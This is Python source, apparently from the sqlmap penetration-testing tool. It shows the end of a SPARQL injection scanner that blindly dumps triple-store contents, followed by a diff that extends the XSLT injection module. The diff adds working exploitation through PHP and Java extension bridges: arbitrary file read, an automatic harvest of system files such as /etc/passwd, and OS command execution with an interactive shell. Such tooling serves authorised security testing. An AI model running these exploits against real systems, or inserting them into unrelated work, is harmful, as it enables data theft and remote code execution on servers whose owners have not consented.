return None if (p is None or _isError(p)) else p
return resolveBit(usable, trueTemplate, falseTemplate, fresh)
truth.template = trueTemplate
truth.cache = cache
return truth
# --- SPARQL condition builders -------------------------------------------------------------------------
#
# Every extraction condition is an EXISTS over a sub-pattern that BINDS ?v, then a FILTER on ?v. The outer
# `SELECT ?v WHERE { ... }` wrapper is mandatory: a bare `EXISTS { {subquery} FILTER(...) }` silently
# evaluates false on Jena, whereas the wrapped form works.
def _existsBind(inner, cmp):
return "EXISTS { SELECT ?v WHERE { %s FILTER(%s) } }" % (inner, cmp)
def _cmpAtLeast(expr, n):
return "%s >= %d" % (expr, n)
def _cmpChar(pos, ordinal):
# lexicographic '>=' on a single character bisects the codepoint-ordered charset
return 'SUBSTR(STR(?v),%d,1) >= %s' % (pos, _literal(ordinal))
# inner sub-patterns that bind ?v to something worth reading
_COUNT_TRIPLES = "{ SELECT (COUNT(*) AS ?v) WHERE {?s ?p ?o} }"
_COUNT_PREDICATES = "{ SELECT (COUNT(DISTINCT ?p) AS ?v) WHERE {?s ?p ?o} }"
def _nthPredicate(offset):
return ("{ SELECT DISTINCT ?p WHERE {?s ?p ?o} ORDER BY ?p LIMIT 1 OFFSET %d } "
"BIND(STR(?p) AS ?v)" % offset)
def _nthObject(offset):
return ("{ SELECT ?o WHERE {?s ?p ?o} ORDER BY STR(?o) LIMIT 1 OFFSET %d } "
"BIND(STR(?o) AS ?v)" % offset)
def _inferCount(truth, inner, maxCount):
"""Recover the integer bound to ?v by `inner` (a COUNT sub-select), by binary search. Returns None
when the oracle stays inconclusive - a half-bisected count is a wrong number, not a small one, and
it would go on to drive the enumeration loops."""
try:
if not truth(_existsBind(inner, _cmpAtLeast("?v", 1))):
return 0
lo, hi = 1, maxCount
while lo < hi:
mid = (lo + hi + 1) // 2
if truth(_existsBind(inner, _cmpAtLeast("?v", mid))):
lo = mid
else:
hi = mid - 1
except InconclusiveError:
logger.warning("SPARQL count inference aborted (oracle inconclusive after retries)")
return None
return lo
def _inferString(truth, inner, maxLen=SPARQL_MAX_LENGTH):
"""Blindly recover the string bound to ?v by `inner`: length by binary search, then each character by
bisecting its index in the codepoint-ordered charset."""
try:
if not truth(_existsBind(inner, _cmpAtLeast("STRLEN(STR(?v))", 1))):
return ""
lo, hi = 1, maxLen
while lo < hi:
mid = (lo + hi + 1) // 2
if truth(_existsBind(inner, _cmpAtLeast("STRLEN(STR(?v))", mid))):
lo = mid
else:
hi = mid - 1
length = lo
chars = []
last = len(_CS_ORDS) - 1
for pos in xrange(1, length + 1):
# is this character within the recoverable charset at all?
if not truth(_existsBind(inner, _cmpChar(pos, _CS_ORDS[0]))):
chars.append("?")
continue
clo, chi = 0, last
while clo < chi:
cmid = (clo + chi + 1) // 2
if truth(_existsBind(inner, _cmpChar(pos, _CS_ORDS[cmid]))):
clo = cmid
else:
chi = cmid - 1
chars.append(chr(_CS_ORDS[clo]))
except InconclusiveError:
logger.warning("SPARQL string inference aborted (oracle inconclusive after retries)")
return None
return "".join(chars)
def _grid(columns, rows):
columns = [getUnicode(_) for _ in columns]
rows = [[getUnicode(_) for _ in row] for row in rows]
widths = []
for index, column in enumerate(columns):
width = len(column)
for row in rows:
if index < len(row):
width = max(width, len(getUnicode(row[index])))
widths.append(width)
separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+"
def line(cells):
return "| " + " | ".join((getUnicode(cells[index]) if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |"
return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator])
def _dumpGraph(truth):
"""Schema-agnostic blind dump of the default graph: distinct predicates, then a sample of the triple
objects (see the module note on why objects rather than whole triples)."""
predicates = _inferCount(truth, _COUNT_PREDICATES, SPARQL_MAX_PREDICATES)
triples = _inferCount(truth, _COUNT_TRIPLES, 10 ** 9)
if predicates is None or triples is None:
logger.warning("dump aborted: the oracle could not resolve the graph size; detection stands")
return
logger.info("default graph holds %d distinct predicate(s) and %d triple(s)" % (predicates, triples))
predRows = []
for offset in xrange(min(predicates, SPARQL_MAX_PREDICATES)):
iri = _inferString(truth, _nthPredicate(offset))
if iri is None:
break
predRows.append([offset + 1, iri])
if predRows:
conf.dumper.singleString("SPARQL: distinct predicates in the default graph\n%s"
% _grid(["#", "predicate"], predRows))
limit = min(triples, SPARQL_MAX_RECORDS)
objRows = []
for offset in xrange(limit):
value = _inferString(truth, _nthObject(offset))
if value is None:
break
objRows.append([offset + 1, value])
if objRows:
conf.dumper.singleString("SPARQL: objects in the default graph (first %d, ordered)\n%s"
% (len(objRows), _grid(["#", "object"], objRows)))
if triples > limit:
logger.info("dumped the first %d of %d triples (bounded); raise the cap to fetch more" % (limit, triples))
def sparqlScan():
global SENTINEL, NUMBER_SENTINEL
SENTINEL = randomStr(length=10, lowercase=True)
NUMBER_SENTINEL = randomStr(length=9, alphabet="123456789")
debugMsg = "'--sparql' is self-contained: it detects SPARQL injection in HTTP parameters and blindly "
debugMsg += "dumps the reachable triple store. SQL enumeration switches (--banner, --dbs, --tables, "
debugMsg += "--users, --sql-query) are ignored"
logger.debug(debugMsg)
if not conf.paramDict:
logger.error("no request parameters to test (use --data, GET params, or similar)")
return
tested = found = 0
for place in (_ for _ in SPARQL_PLACES if _ in conf.paramDict):
for parameter in list(conf.paramDict[place].keys()):
if conf.testParameter and parameter not in conf.testParameter:
continue
tested += 1
logger.info("testing SPARQL injection on %s parameter '%s'" % (place, parameter))
backendHint, _errorPage = _probeError(place, parameter)
if backendHint:
logger.info("%s parameter '%s' reaches a SPARQL parser (back-end: '%s')" % (place, parameter, backendHint))
template, payload, boundary = _detectBoolean(place, parameter)
if not template:
continue
isSparql = _confirmSparql(place, parameter, boundary) or bool(backendHint)
if not isSparql:
logger.info("%s parameter '%s' shows a boolean differential but no SPARQL-only construct "
"confirmed it; not attributing to SPARQL (may be plain SQL injection)"
% (place, parameter))
continue
found += 1
if conf.beep:
beep()
backend = backendHint or "Generic SPARQL"
logger.info("%s parameter '%s' is vulnerable to SPARQL injection (back-end: '%s')"
% (place, parameter, backend))
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: SPARQL injection\n"
" Title: SPARQL boolean-based blind\n Payload: %s=%s\n---"
% (parameter, place, parameter, payload))
oracle = _makeOracle(place, parameter, boundary)
if oracle is None:
logger.info("extraction disabled (true/false models not reliably separable); detection stands")
continue
_dumpGraph(oracle)
if not found:
if tested:
logger.warning("no parameter appears to be injectable via SPARQL injection (%d tested)" % tested)
else:
logger.warning("no parameters found to test for SPARQL injection")
logger.info("SPARQL scan complete")
+198 -36
View File
@@ -26,8 +26,13 @@ between elements can introduce whole XSLT instructions, while input landing insi
carry an XPath expression. Nothing is inferred from a payload merely "looking like" it worked - every
tier is confirmed by a per-run random sentinel or by a value the application cannot produce by itself.
Deliberately reported but NOT exploited: PHP registerPHPFunctions(), EXSLT exsl:document (file WRITE) and
saxon:eval. Those are RCE / write primitives and sit outside what this switch is for.
Once an injection is confirmed in the ELEMENT slot, sqlmap also probes the processor's extension bridges
(PHP php:function, Xalan java:) - each confirmed by a deterministic self-check, never by the unreliable
function-available(). A confirmed read bridge gives arbitrary file read even on an XSLT 1.0 engine, where
document() only loads XML and unparsed-text() is unavailable, so it is used for the automatic harvest and
for '--file-read'. Command execution through a bridge runs only under '--os-cmd' / '--os-shell', exactly
like the SQL and SSTI takeover. File WRITE (EXSLT exsl:document) and saxon:eval are reported but never
driven - a write is destructive and belongs to '--file-write'.
"""
import re
@@ -37,6 +42,7 @@ from collections import namedtuple
from lib.core.common import beep
from lib.core.common import dataToOutFile
from lib.core.common import randomStr
from lib.core.common import urldecode
from lib.core.convert import getBytes
from lib.core.convert import getText
from lib.core.convert import getUnicode
@@ -50,9 +56,15 @@ from lib.core.settings import XSLT_MAX_FILE_LENGTH
from lib.core.settings import XSLT_MAX_HARVEST
from lib.core.settings import XSLT_XML_HARVEST
from lib.core.settings import XXE_FILE_HARVEST
from lib.core.settings import XSLT_RCE_PROBES
from lib.core.settings import XSLT_BRIDGES
from lib.core.settings import XSLT_BRIDGE_PHP
from lib.core.settings import XSLT_BRIDGE_JAVA
from lib.core.settings import XSLT_ADVISORY_PROBES
from lib.core.settings import XSLT_VENDOR_PROPERTIES
from lib.request.connect import Connect as Request
# NOT lib.core.common.urlencode: that one keeps '&', '=' and '%' safe by design, which is exactly what
# has to be escaped here. Imported under a distinct name because _quote() below is the XPath literal.
from thirdparty.six.moves.urllib.parse import quote as _urlquote
SENTINEL = randomStr(length=10, lowercase=True)
@@ -80,11 +92,13 @@ def _delim(place):
def _originalValue(place, parameter):
# decoded on the way in, re-encoded by _send() on the way out, so the module works in plain text
# and the untouched baseline probe reproduces exactly what the application originally received
for pair in (conf.parameters.get(place) or "").split(_delim(place)):
if '=' in pair:
name, _, value = pair.partition('=')
if name.strip() == parameter:
return value
return urldecode(value, convall=True)
return None
@@ -101,13 +115,18 @@ def _replaceSegment(place, parameter, value):
def _send(place, parameter, value):
"""One request with the target parameter set to `value`, reusing sqlmap's request machinery so the
URL, cookies, headers, proxy and delay all behave exactly as in a normal run."""
URL, cookies, headers, proxy and delay all behave exactly as in a normal run.
The value is URL-encoded (as '--ssti' already does). A stylesheet payload is XML, so it legitimately
carries '&' - both as an XML entity (&amp;/&quot;, see _attr) and inside a command or path - and a
raw '&' in a GET value is the parameter delimiter, which would split the request and deliver a
truncated stylesheet."""
if conf.delay:
time.sleep(conf.delay)
saved = conf.parameters.get(place, "")
conf.parameters[place] = _replaceSegment(place, parameter, value)
conf.parameters[place] = _replaceSegment(place, parameter, _urlquote(value, safe=""))
try:
if conf.verbose >= 3:
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
@@ -135,10 +154,26 @@ def _echoed(page, needle):
return bool(page) and needle in getUnicode(page)
def _attr(expression):
"""Escape an XPath expression for the XML ATTRIBUTE it is about to land in.
Every slot ends up inside select="...", and XPath 1.0 has no escape character - so _quote() has to
fall back to double quotes for a value containing an apostrophe, and those quotes TERMINATE the
attribute. The stylesheet then fails to compile and the whole probe silently returns nothing:
'--os-cmd="echo \'hi\'"' reported "no output captured", and '--file-read' of a path holding an
apostrophe or an '&' failed against real libxslt while the same file at a plain path read fine.
'>' is legal inside an attribute value and is left alone, so a shell redirect stays readable."""
return (getUnicode(expression).replace("&", "&amp;")
.replace("<", "&lt;")
.replace('"', "&quot;"))
def _valuePayload(expression):
"""An XPath expression for the VALUE slot: the input already sits inside select="...", so only the
expression itself is injected."""
return expression
return _attr(expression)
# Conventional prefix for the XSLT namespace. A stylesheet must bind it to be a stylesheet at all; a
@@ -149,7 +184,7 @@ _XSL_PREFIX = "xsl"
def _elementPayload(expression):
"""A whole <xsl:value-of> instruction for the ELEMENT slot. The stylesheet already binds the 'xsl'
prefix (it could not be a stylesheet otherwise), so the instruction compiles in place."""
return '<%s:value-of select="%s"/>' % (_XSL_PREFIX, expression)
return '<%s:value-of select="%s"/>' % (_XSL_PREFIX, _attr(expression))
_BUILDERS = ((CONTEXT_ELEMENT, _elementPayload), (CONTEXT_VALUE, _valuePayload))
@@ -311,9 +346,15 @@ def _probeCompile(place, parameter, baseline):
return None, None, None
def _readFile(place, parameter, context, path, readers=("unparsed-text", "document")):
"""T4: read a text file. document() parses its target as XML, so a non-XML file only surfaces through
unparsed-text() (XSLT 2.0+). Both are tried by default and whichever returns content wins."""
def _readFile(place, parameter, context, path, readers=("unparsed-text", "document"), bridges=()):
"""T4: read a file. A confirmed extension bridge (php:function / java:) is tried first because it
reaches ANY file on a 1.0 engine. Otherwise document() parses its target as XML, so a non-XML file
only surfaces through unparsed-text() (XSLT 2.0+). Whichever returns content wins."""
for bridge in bridges:
content = _bridgeRead(place, parameter, bridge, path)
if content and content.strip():
return content, "%s bridge" % bridge[0].split(" ")[0].lower()
build = dict(_BUILDERS)[context]
uri = path if "://" in path else "file:///%s" % getText(path).replace("\\", "/").lstrip("/")
@@ -347,25 +388,42 @@ def _dumpSourceDocument(place, parameter, context):
return None
def _harvestFiles(place, parameter, context):
def _harvestFiles(place, parameter, context, bridges=()):
"""Proactive, best-effort file harvest once the injection is CONFIRMED, the way the other non-SQL
engines auto-dump what they can reach: a user who reaches for '--xslt' should not have to know that
'--file-read' exists to see impact.
Two reader primitives, because they cover different engines: unparsed-text() takes any text file but
needs XSLT 2.0+, while document() works on 1.0 (most of the installed base) yet only loads well-formed
XML. Content is de-duplicated so an engine that resolves every missing path to the same stub cannot
masquerade as many distinct reads. Bounded by XSLT_MAX_HARVEST."""
A confirmed bridge reads arbitrary text on any engine, so the plain-text targets (/etc/passwd etc.)
are harvested through it. Without one, the two portable readers cover different engines: unparsed-text()
takes any text file but needs XSLT 2.0+, while document() works on 1.0 (most of the installed base)
yet only loads well-formed XML. Content is de-duplicated so an engine that resolves every missing path
to the same stub cannot masquerade as many distinct reads. Bounded by XSLT_MAX_HARVEST."""
harvested = []
seen = set()
for reader, paths in (("unparsed-text", XXE_FILE_HARVEST), ("document", XSLT_XML_HARVEST)):
read = set()
# every confirmed bridge, not just the first: _readFile() already falls through all of them, and a
# bridge that fails on one path (permissions, a binary file) must not strand the rest of the harvest
plans = [(_, XXE_FILE_HARVEST) for _ in bridges] # arbitrary-text read on any engine
plans.append((None, XXE_FILE_HARVEST)) # unparsed-text() (XSLT 2.0+)
plans.append((None, XSLT_XML_HARVEST)) # document() (XSLT 1.0, XML only)
for bridge, paths in plans:
for path in paths:
if len(harvested) >= XSLT_MAX_HARVEST:
return harvested
content, how = _readFile(place, parameter, context, path, readers=(reader,))
if path in read:
continue # a later plan must not re-probe what an earlier one already returned
if bridge is not None:
content = _bridgeRead(place, parameter, bridge, path)
how = "%s bridge" % bridge[0].split(" ")[0].lower()
else:
reader = "unparsed-text" if paths is XXE_FILE_HARVEST else "document"
content, how = _readFile(place, parameter, context, path, readers=(reader,))
if not (content and content.strip()):
continue
read.add(path)
key = content.strip()
if key in seen:
continue
@@ -374,22 +432,95 @@ def _harvestFiles(place, parameter, context):
return harvested
def _probeRce(place, parameter, context):
"""Report - never invoke - the extension primitives that would turn this into code execution. Their
mere availability is the finding; exercising them is out of scope for this switch."""
def _bridgeElementPayload(prefix, uri, expression):
"""An <xsl:value-of> that BINDS the extension namespace the bridge needs. Only the element slot can do
this - the value slot cannot introduce a namespace - so bridge exploitation is element-slot only. The
expression is sentinel-wrapped like every other probe, so an echo endpoint cannot forge the result."""
return '<%s:value-of xmlns:%s="%s" select="%s"/>' % (_XSL_PREFIX, prefix, uri, _attr(_wrap(expression)))
def _confirmBridge(place, parameter, bridge):
"""Confirm a bridge by EVALUATION, not by function-available() (which Xalan answers 'false' to while
the bridge works). The self-check transforms a per-run random input in a way the application cannot:
PHP reverses a marker, Xalan hex-encodes a random integer. The sentinel-split wrap defeats reflection,
and the transformed value defeats a lucky echo of the operand."""
_label, kind, prefix, uri, _readT, _execT = bridge
if kind == XSLT_BRIDGE_PHP:
marker = randomStr(length=8, lowercase=True)
expression = "php:function('strrev',%s)" % _quote(marker)
expected = marker[::-1]
elif kind == XSLT_BRIDGE_JAVA:
number = int(randomStr(length=6, alphabet="123456789"))
expression = "java:java.lang.Integer.toHexString(%d)" % number
expected = "%x" % number
else:
return False
payload = _bridgeElementPayload(prefix, uri, expression)
captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,64")
return captured is not None and captured.strip() == expected
def _detectBridges(place, parameter, context):
"""The extension bridges confirmed working on this injection. Element slot only (a bridge needs its
namespace bound), so the value slot returns nothing."""
if context != CONTEXT_ELEMENT:
return []
return [bridge for bridge in XSLT_BRIDGES if _confirmBridge(place, parameter, bridge)]
def _bridgeRead(place, parameter, bridge, path):
"""Arbitrary file read through a confirmed bridge - unlike document() (XML only) and unparsed-text()
(XSLT 2.0+), this reaches any file the process can open, on a 1.0 engine."""
_label, _kind, prefix, uri, readT, _execT = bridge
expression = readT % _quote(getText(path))
payload = _bridgeElementPayload(prefix, uri, expression)
captured = _captured(page=_send(place, parameter, payload), payload=payload, span="1,%d" % XSLT_MAX_FILE_LENGTH)
if captured and captured.strip():
return captured[:XSLT_MAX_FILE_LENGTH]
return None
def _bridgeExec(place, parameter, bridge, command):
"""Run one OS command through a confirmed exec bridge and return its captured stdout, or None. Only
reached under --os-cmd / --os-shell."""
_label, _kind, prefix, uri, _readT, execT = bridge
if not execT:
return None
payload = _bridgeElementPayload(prefix, uri, execT % _quote(getText(command)))
captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,%d" % XSLT_MAX_FILE_LENGTH)
return captured.rstrip("\n") if captured is not None else None
def _advisories(place, parameter, context):
"""Report - never drive - the file-write / eval surfaces. Their availability is the finding: a write
is destructive ('--file-write' territory) and saxon:eval needs Saxon-PE/EE."""
build = dict(_BUILDERS)[context]
retVal = []
for label, expression in XSLT_RCE_PROBES:
for label, expression in XSLT_ADVISORY_PROBES:
payload = build(_wrap(expression))
captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,40")
# function-available() answers the STRING 'true'/'false', so a non-empty capture is not a hit -
# only an explicit true is. Reporting on non-empty would flag every engine as exploitable.
# the probe answers the STRING 'true'/'false', so only an explicit 'true' counts
if captured is not None and captured.strip().lower() == "true":
retVal.append(label)
return retVal
def _osShell(execFn):
"""Interactive OS-shell loop (runs under --batch like the SQL one). EOF / 'exit' / 'quit' leaves."""
from lib.core.common import readInput
logger.info("calling XSLT OS shell. Enter commands or 'exit'/'quit' to leave")
while True:
command = readInput("os-shell> ", checkBatch=False)
if not command or command.strip().lower() in ("exit", "quit"):
break
execFn(command.strip())
def _dumpFileRead(remoteFile, content):
try:
localPath = dataToOutFile(remoteFile, getBytes(content))
@@ -470,20 +601,51 @@ def xsltScan():
if detail:
extra.append("Proof: the engine computed %s" % detail)
rce = _probeRce(place, parameter, context)
if rce:
extra.append("Extensions available (NOT exercised): %s" % ", ".join(rce))
logger.warning("the engine exposes %s - this injection can reach code execution; "
"'--xslt' reports it but does not use it" % ", ".join(rce))
# Confirmed-by-evaluation extension bridges (php:function / java:). These are real read/exec
# primitives, not a function-available() guess, and reading a file through one is the same
# risk class as document() - which this engine already drives - so the read is automatic.
bridges = _detectBridges(place, parameter, context)
execBridge = next((_ for _ in bridges if _[5]), None)
if bridges:
extra.append("Extension bridges confirmed: %s" % ", ".join(_[0] for _ in bridges))
advisories = _advisories(place, parameter, context)
if advisories:
extra.append("Extensions available (NOT exercised): %s" % ", ".join(advisories))
_report(slot, title, extra)
wantsExec = any(conf.get(_) for _ in ("osCmd", "osShell"))
# --os-cmd / --os-shell: command execution runs ONLY when explicitly asked, exactly like the
# SQL and SSTI takeover. Without an exec bridge sqlmap says so rather than pretending.
if wantsExec:
if execBridge is None:
# naming java: here was misleading: it IS an exec-capable namespace in general, but
# this engine drives it read-only on purpose (no stdout comes back), so a target
# with ONLY the java bridge confirmed was told to look for something it already had
readOnly = ", ".join(_[0] for _ in bridges if not _[5])
errMsg = "OS command execution needs a confirmed exec bridge (php:function); "
errMsg += ("the '%s' bridge is read-only here" % readOnly) if readOnly else "none is available on this target"
logger.error(errMsg)
else:
if conf.get("osCmd"):
output = _bridgeExec(place, parameter, execBridge, conf.osCmd)
conf.dumper.singleString("XSLT os-cmd ('%s') via %s:\n%s"
% (conf.osCmd, execBridge[0], output if output is not None else "(no output captured)"))
if conf.get("osShell"):
_osShell(lambda command: conf.dumper.singleString(
"%s\n%s" % (command, _bridgeExec(place, parameter, execBridge, command) or "(no output captured)")))
elif execBridge is not None:
logger.info("the '%s' bridge allows OS command execution; you are advised to try "
"'--os-shell' (interactive) or '--os-cmd=<command>' (single command)" % execBridge[0])
# A confirmed finding is exploited automatically, like every other non-SQL switch: whoever
# reaches for '--xslt' should not need to know that '--file-read' exists to see impact. An
# explicit '--file-read' overrides the harvest and is honoured verbatim instead.
if conf.fileRead:
logger.info("reading file '%s' through the XSLT engine" % conf.fileRead)
content, how = _readFile(place, parameter, context, conf.fileRead)
content, how = _readFile(place, parameter, context, conf.fileRead, bridges=bridges)
if content:
logger.info("XSLT file read succeeded via %s (%d characters)" % (how, len(content)))
if how.startswith("string(document("):
@@ -491,9 +653,9 @@ def xsltScan():
"CONTENT rather than its raw bytes")
_dumpFileRead(conf.fileRead, content)
else:
logger.warning("XSLT file read of '%s' failed. document() only reads well-formed XML, "
"and unparsed-text() needs an XSLT 2.0+ engine (this one reports '%s')"
% (conf.fileRead, vendor))
logger.warning("XSLT file read of '%s' failed. Without an extension bridge, document() "
"only reads well-formed XML and unparsed-text() needs an XSLT 2.0+ engine "
"(this one reports '%s')" % (conf.fileRead, vendor))
else:
source = _dumpSourceDocument(place, parameter, context)
if source:
@@ -501,13 +663,13 @@ def xsltScan():
conf.dumper.singleString("XSLT: %s parameter '%s' source document\n%s" % (place, parameter, source))
logger.info("harvesting reachable files through the XSLT engine")
harvested = _harvestFiles(place, parameter, context)
harvested = _harvestFiles(place, parameter, context, bridges=bridges)
for path, content, how in harvested:
logger.info("read '%s' via %s (%d characters)" % (path, how, len(content)))
_dumpFileRead(path, content)
if not harvested:
logger.info("no file could be read automatically (document() needs well-formed XML and "
"unparsed-text() needs an XSLT 2.0+ engine)")
logger.info("no file could be read automatically (a bridge reads any file, else "
"document() needs well-formed XML and unparsed-text() needs XSLT 2.0+)")
if source or harvested:
logger.info("use '--file-read' to target one specific file instead of this harvest")